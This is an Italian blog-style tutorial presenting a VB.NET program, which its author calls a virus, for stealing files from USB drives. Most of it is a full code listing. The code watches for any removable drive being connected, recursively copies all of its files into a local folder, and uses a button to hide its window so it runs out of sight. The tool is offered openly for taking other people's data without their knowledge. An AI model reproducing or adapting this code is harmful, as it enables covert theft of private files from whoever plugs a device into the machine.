Rubare file da Chiavetta USB/Steal data from USB[VB.NET]

Rubare file da Chiavetta USB
Oggi vi volevo presentare un programma da me sviluppato su Visual Basic che vi permetterà di rubare qualunque contenuto presente all'interno di una chiavetta usb o di un dispositivo rimovibile che verrà collegato al vostro pc o al computer nel quale avete eseguito questo virus.
REQUISITI

• Visual Basic 2010 express(grauito e scaricabile da qui : http://download.html.it/)
• Un minimo di competenza nell'ambito della programmazione

SVILUPPO
Il procedimento è semplice : tutto stà nell'individuare quando il dispositivo viene collegato al pc e identificare la lettera associata al drive; dopo aver fatto ciò ci basterà costruire uno script che copi tutti i file presenti nella chiavetta all'interno di una cartella sicura presente sul nostro computer , in modo tale da potervi riaccedere successivamente e recuperare i dati interessati.

1. Create quindi un progetto vb.net e inserite all'interno della progettazione solamente un pulsante a cui daremo il nome di "HIDE". 
2. Successivamente premete due volte sulla schermata del programma e copiate questo codice:

1:  Imports System.Runtime.InteropServices  
2:  Imports System.IO  
3:  Public Class Form1  
4:    Dim destinazione5 As String = "C:\Users\"inserisci il nome del tuo account Windows, senza le virgolette"\Desktop\test"  
5:    Dim check As Boolean = False  
6:    Private Const WM_DEVICECHANGE As Integer = &H219  
7:    Private Const DBT_DEVICEARRIVAL As Integer = &H8000  
8:    Private Const DBT_DEVTYP_VOLUME As Integer = &H2  
9:    'Device information structure  
10:    Public Structure DEV_BROADCAST_HDR  
11:      Public dbch_size As Int32  
12:      Public dbch_devicetype As Int32  
13:      Public dbch_reserved As Int32  
14:    End Structure  
15:    'Volume information Structure  
16:    Private Structure DEV_BROADCAST_VOLUME  
17:      Public dbcv_size As Int32  
18:      Public dbcv_devicetype As Int32  
19:      Public dbcv_reserved As Int32  
20:      Public dbcv_unitmask As Int32  
21:      Public dbcv_flags As Int16  
22:    End Structure  
23:    'Function that gets the drive letter from the unit mask  
24:    Private Function GetDriveLetterFromMask(ByRef Unit As Int32) As Char  
25:      For i As Integer = 0 To 25  
26:        If Unit = (2 ^ i) Then  
27:          Return Chr(Asc("A") + i)  
28:        End If  
29:      Next  
30:    End Function  
31:    'Override message processing to check for the DEVICECHANGE message  
32:      Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message)  
33:      If m.Msg = WM_DEVICECHANGE Then  
34:        If CInt(m.WParam) = DBT_DEVICEARRIVAL Then  
35:          Dim DeviceInfo As DEV_BROADCAST_HDR  
36:          DeviceInfo = DirectCast(Marshal.PtrToStructure(m.LParam, GetType(DEV_BROADCAST_HDR)), DEV_BROADCAST_HDR)  
37:          If DeviceInfo.dbch_devicetype = DBT_DEVTYP_VOLUME Then  
38:            Dim Volume As DEV_BROADCAST_VOLUME  
39:            Volume = DirectCast(Marshal.PtrToStructure(m.LParam, GetType(DEV_BROADCAST_VOLUME)), DEV_BROADCAST_VOLUME)  
40:            Dim DriveLetter As String = (GetDriveLetterFromMask(Volume.dbcv_unitmask) & ":\")  
41:            Dim Destination As String = My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Backup\" 'destinazione dei file in (My Documents\Backup\*.*)è possibile cambiarla modificando il nome a piacere  
42:            For Each File As String In My.Computer.FileSystem.GetFiles(DriveLetter, FileIO.SearchOption.SearchAllSubDirectories, "*.*")  
43:              My.Computer.FileSystem.CopyFile(File, String.Concat(Destination, Microsoft.VisualBasic.Right(File, Microsoft.VisualBasic.Len(File) - 3)), True)  
44:            Next  
45:          End If  
46:        End If  
47:      End If  
48:      MyBase.WndProc(m)  
49:    End Sub  
50:    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click  
51:      Me.Hide()  
52:    End Sub  
53:  End Class  

Grazie a queste righe di codice qualunque dispositivo che verrà collegato al vostro pc salverà un backup di tutti i dati all'interno di una cartella a vostra scelta.
Il bottone 2 serve semplicemente per nascondere il programma e farlo "sparire".